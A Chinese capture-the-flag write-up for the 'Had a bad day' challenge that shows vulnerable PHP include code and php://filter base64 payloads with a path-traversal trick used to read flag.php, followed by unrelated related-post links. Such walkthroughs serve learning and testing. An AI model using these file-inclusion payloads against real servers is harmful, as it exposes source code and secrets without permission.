BUU34 [BSidesCF 2020]Had a bad day1 【php://filter】

题目:

发现url有点奇怪

尝试读取一下flag.php,出现错误了

感觉有希望,一看url中还有个index.php,那就试试读取源码吧

出现错误,原来是index.php.php重合了,把php去掉 ,出现了

php 复制代码
<?php
	$file = $_GET['category'];

	if(isset($file))
				{
	    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
					}
	else{
			echo "Sorry, we currently only support woofers and meowers.";
					}
				}
?>

让提交的内容中含有woofers,meowers或者index就行了

这里面write可写可不写:

write 的作用是将经过特定过滤处理后(用php://filter过滤的)的数据写入到指定的文件中。而 index.php 就是指定的目标文件。也就是说,write=index.php 表示要把经过当前过滤器处理后的数据写入到 index.php 文件里。

解码得到flag

filter伪协议可以套一层参数,如(本题中包含woofers,meowers,index三个中的一个即可):
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
?category=php://filter/read=index/convert.base64-encode/resource=flag(顺序可以变换)

PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响

所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag

相关推荐
筱顾大牛21 小时前
黑马点评---用户签到、UV统计
android·服务器·uv
耶叶21 小时前
Android开发实战:通过网络电子书阅读器实践运用fragment知识
android·jvm
00后程序员张1 天前
iPhone 无需越狱文件管理 使用Keymob查看导出文件
android·ios·小程序·https·uni-app·iphone·webview
kcuwu.1 天前
Python文件操作零基础及进阶
android·服务器·python
锋风Fengfeng1 天前
Windows怎么方便查看AOSP代码
android·windows
2501_916008891 天前
Unity3D iOS 应用防篡改实战 资源校验、 IPA 二进制保护
android·ios·小程序·https·uni-app·iphone·webview
Kapaseker1 天前
Compose 中 CompositionLocalProvider 到底是干啥的
android·kotlin
mg6681 天前
安卓玩机工具----安卓设备adb调试图形化工具推荐 支持mac与windows
android·adb
wzl202612131 天前
多账号协同与任务分发:用企微API搭建总部-门店统一运营中台
android·企业微信
SmartRadio1 天前
经典蓝牙双机控制 APP-最终完整版 2
android·物联网·智能手机